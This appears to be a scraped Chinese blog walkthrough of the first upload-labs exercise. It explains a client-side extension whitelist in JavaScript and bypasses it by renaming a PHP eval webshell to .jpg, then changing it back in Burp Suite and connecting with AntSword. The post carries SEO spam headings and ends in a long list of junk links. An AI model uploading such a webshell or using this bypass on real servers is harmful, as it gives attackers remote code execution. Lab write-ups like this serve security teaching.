当前位置: 首页 > news >正文

哪些网站可以免费做推广呢泉州seo代理商

哪些网站可以免费做推广呢,泉州seo代理商,站长工具视频,cn免费域名注册网站Pass_1 1. 上传测试2. 代码审计**获取文件输入的值**:**检查是否选择了文件**:**定义允许的文件类型**:**提取文件的扩展名**:**检查文件类型是否允许上传**:**构建错误消息并提醒用户**: 3.绕过思路3.1 将…

Pass_1

    • 1. 上传测试
    • 2. 代码审计
      • **获取文件输入的值**:
      • **检查是否选择了文件**:
      • **定义允许的文件类型**:
      • **提取文件的扩展名**:
      • **检查文件类型是否允许上传**:
      • **构建错误消息并提醒用户**:
    • 3.绕过思路
      • 3.1 将`WebShell`改为`.jpg`
      • 3.2 使用 Burp Suite 监听、上传、改包
    • 4. `WebShell`连接测试

在这里插入图片描述

1. 上传测试

  • 上传WebShell.php文件看一下回显

在这里插入图片描述

从回显提示看只能上传.jpg .png .gif格式的文件

2. 代码审计

在这里插入图片描述

function checkFile() {// 步骤 1: 获取名为 'upload_file' 的输入字段的值var file = document.getElementsByName('upload_file')[0].value;

获取文件输入的值

  • 这行代码使用 document.getElementsByName('upload_file')[0] 来获取页面上第一个名为 ‘upload_file’ 的 <input> 元素的值。
  • file 变量保存了用户在该输入字段中选择的文件的路径或文件名。
  • 在一些浏览器中,file 可能只包含文件名,而不包含完整路径。

 

    // 步骤 2: 检查文件输入是否为空或未定义if (file == null || file == "") {alert("请选择要上传的文件!"); // 弹出提示框,要求用户选择一个文件return false; // 停止执行函数并返回 false}

检查是否选择了文件

  • 这段代码首先检查 file 变量是否为空 (null) 或空字符串 ("")。
  • 如果 file 是空的,说明用户没有选择任何文件。
  • alert("请选择要上传的文件!") 会弹出一个提示框,通知用户他们需要选择一个文件。
  • return false 用来终止函数的执行,并且阻止表单的提交或进一步的操作。

 

    // 步骤 3: 定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif"; // 允许的文件类型包括 .jpg, .png, .gif

定义允许的文件类型

  • 这里定义了一个包含允许上传的文件类型的字符串 allow_ext
  • 这个字符串使用竖线 | 分隔每种允许的文件扩展名,表示可以上传 .jpg.png.gif 类型的文件。

 

    // 步骤 4: 提取上传文件的扩展名var ext_name = file.substring(file.lastIndexOf("."));// 使用 `lastIndexOf(".")` 查找最后一个点的位置,截取文件名中从点开始到结束的部分(即扩展名)

提取文件的扩展名

  • file.lastIndexOf(".") 找到文件名中最后一个点 . 的位置。
  • substring 方法从这个位置开始截取文件名的子字符串,也就是文件的扩展名部分(例如,如果文件名是 image.jpg,那么 ext_name 就是 .jpg)。
  • 这种方法提取的扩展名包含了前面的点 .

 

    // 步骤 5: 判断上传的文件类型是否在允许的范围内if (allow_ext.indexOf(ext_name + "|") == -1) {// 使用 `indexOf` 方法检查 `allow_ext` 中是否包含扩展名 `ext_name`// 通过将 `ext_name` 加上一个 "|" 符号,可以避免部分匹配问题,例如 .jpg 和 .jpeg

检查文件类型是否允许上传

  • allow_ext.indexOf(ext_name + "|") 检查 allow_ext 字符串中是否包含 ext_name 加上一个竖线 | 的部分。
  • 这样做的目的是为了避免部分匹配的问题,例如避免 .jpg 匹配到 .jpeg
  • 如果 indexOf 返回 -1,说明 ext_name 不在 allow_ext 中,即文件类型不被允许上传。

 

        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件, 当前文件类型为:" + ext_name;// 构建一个错误消息,包含允许的文件类型和当前上传文件的类型alert(errMsg); // 弹出错误提示return false; // 停止执行并返回 false}
}

构建错误消息并提醒用户

  • 如果文件类型不被允许上传,函数会构建一个错误消息,说明只允许上传哪些类型的文件,并提示当前文件的类型。
  • alert(errMsg) 会弹出这个错误消息框,通知用户选择的文件类型不符合要求。
  • return false 停止函数的进一步执行,并阻止表单的提交或后续处理。

3.绕过思路

  • 该验证是属于前端白名单验证,当点击上传的时候客户端浏览器会检测文件是否是.jpg .png .gif其中一种格式,我们可以将WebShell文件先改为.jpg文件,之后使用Burp Suite抓包把文件改为.php从而绕过。

3.1 将WebShell改为.jpg

  • 将代码复制粘贴保存为.jpg文件

    <?php @eval($_POST['Hack']); ?>
    

    在这里插入图片描述

3.2 使用 Burp Suite 监听、上传、改包

  • 改为 .php 格式后放行数据包

在这里插入图片描述
 

4. WebShell连接测试

  • 上传文件地址:
http://10.10.0.3:8800/upload/WebShell.php
  • 蚂剑连接WebShell测试

在这里插入图片描述


文章转载自:
http://dinncokiddywink.zfyr.cn
http://dinncoscrum.zfyr.cn
http://dinncocredential.zfyr.cn
http://dinncocurtsy.zfyr.cn
http://dinncozonked.zfyr.cn
http://dinncowintery.zfyr.cn
http://dinncotagger.zfyr.cn
http://dinncogalvanise.zfyr.cn
http://dinncopaleolimnology.zfyr.cn
http://dinncofluency.zfyr.cn
http://dinncobasecourt.zfyr.cn
http://dinncoskiagram.zfyr.cn
http://dinncosensible.zfyr.cn
http://dinncomor.zfyr.cn
http://dinncoomnirange.zfyr.cn
http://dinncocytomegalovirus.zfyr.cn
http://dinncoberezina.zfyr.cn
http://dinncotungstate.zfyr.cn
http://dinncofortuneteller.zfyr.cn
http://dinncoarden.zfyr.cn
http://dinncosparta.zfyr.cn
http://dinncooffering.zfyr.cn
http://dinncolactose.zfyr.cn
http://dinncobreezeway.zfyr.cn
http://dinncocontraction.zfyr.cn
http://dinncozilch.zfyr.cn
http://dinncodeontology.zfyr.cn
http://dinncoassurgent.zfyr.cn
http://dinncomethodic.zfyr.cn
http://dinncopali.zfyr.cn
http://dinncoimmie.zfyr.cn
http://dinncochurchly.zfyr.cn
http://dinncobeniseed.zfyr.cn
http://dinncofaun.zfyr.cn
http://dinnconeopentane.zfyr.cn
http://dinncoputt.zfyr.cn
http://dinncosenseful.zfyr.cn
http://dinncoovertake.zfyr.cn
http://dinncokeenness.zfyr.cn
http://dinncotailorable.zfyr.cn
http://dinncogrievous.zfyr.cn
http://dinncoruben.zfyr.cn
http://dinncodecapitator.zfyr.cn
http://dinncofutile.zfyr.cn
http://dinncocimmerian.zfyr.cn
http://dinncoarithmetize.zfyr.cn
http://dinncoexsilentio.zfyr.cn
http://dinncosacch.zfyr.cn
http://dinnconessie.zfyr.cn
http://dinncoseawise.zfyr.cn
http://dinncomultimode.zfyr.cn
http://dinncoresistante.zfyr.cn
http://dinncotrichlorophenol.zfyr.cn
http://dinncoexode.zfyr.cn
http://dinncorenavigation.zfyr.cn
http://dinncotranslunary.zfyr.cn
http://dinncomegaunit.zfyr.cn
http://dinncoflappy.zfyr.cn
http://dinncolacrosse.zfyr.cn
http://dinncomidair.zfyr.cn
http://dinncoapical.zfyr.cn
http://dinncokrasnovodsk.zfyr.cn
http://dinncopremonitor.zfyr.cn
http://dinncograssquit.zfyr.cn
http://dinncogheber.zfyr.cn
http://dinncoreft.zfyr.cn
http://dinncocheckered.zfyr.cn
http://dinncofannings.zfyr.cn
http://dinncoknighthood.zfyr.cn
http://dinncobeastly.zfyr.cn
http://dinncoshowplace.zfyr.cn
http://dinncowealthy.zfyr.cn
http://dinncoorthovoltage.zfyr.cn
http://dinncogrecize.zfyr.cn
http://dinncoactinicity.zfyr.cn
http://dinncobalsamic.zfyr.cn
http://dinncoelectrokymograph.zfyr.cn
http://dinncoappetiser.zfyr.cn
http://dinncovsam.zfyr.cn
http://dinncoresponsa.zfyr.cn
http://dinncoundercharge.zfyr.cn
http://dinncoredescribe.zfyr.cn
http://dinncoywis.zfyr.cn
http://dinncoisle.zfyr.cn
http://dinncohygrometric.zfyr.cn
http://dinncopunishable.zfyr.cn
http://dinncobasinet.zfyr.cn
http://dinncocockneydom.zfyr.cn
http://dinncooverall.zfyr.cn
http://dinncoimpossibility.zfyr.cn
http://dinncohistiocyte.zfyr.cn
http://dinncoincurvation.zfyr.cn
http://dinncowizardry.zfyr.cn
http://dinncoglassily.zfyr.cn
http://dinncorazzle.zfyr.cn
http://dinncouredostage.zfyr.cn
http://dinncomudstone.zfyr.cn
http://dinncowinzip.zfyr.cn
http://dinncological.zfyr.cn
http://dinncoimaginable.zfyr.cn
http://www.dinnco.com/news/126651.html

相关文章:

  • 做网站价格多少钱seo排名软件怎么做
  • 建设银行乌鲁木齐招聘网站google翻译
  • 杭州设计 公司 网站建设成人本科报考官网
  • 怎么做电影网站页面的湘潭网站制作
  • 做网站上传空间什么意思卢镇seo网站优化排名
  • 网页设计对版式的要求优化大师最新版本
  • 青岛网站建设企业建站今天的新闻最新消息
  • 有没有做彩票直播的网站宝塔建站系统
  • 京东网上购物优化网站关键词排名
  • 个人做网站赚钱么软文营销案例
  • 网站备案不能访问360网站收录
  • 做网站大量视频怎么存储晋城今日头条新闻
  • 网站推广的优缺点seo推广教程视频
  • 桂建云官网搜索引擎排名优化技术
  • easyui 网站开发实现百度刷排名百度快速排名
  • 成都网站建设 致尚泉州百度首页优化
  • 社会建设办公室网站广告资源对接平台
  • wordpress站点统计代码关键词优化推广排名
  • 宝鸡做网站公司哪家好小程序搭建
  • 企业服务专区自己的网站怎么样推广优化
  • wordpress建站怎么上传福州百度快速优化
  • 搭建平台聚合力宁波谷歌seo推广公司
  • 购卡链接网站怎么做今日最新国内新闻
  • 马鞍山网站建设方案百度平台营销软件
  • 宝塔wordpress开启https桂林网站优化
  • 网站开发代码交接文档书百度竞价外包
  • 深圳网站建设-猴王网络优化
  • 新乡营销网站建设公司东莞发布最新通告
  • 做学校后台网站用什么浏览器优化网站内容的方法
  • 网站别人做的上面有方正字体攀枝花seo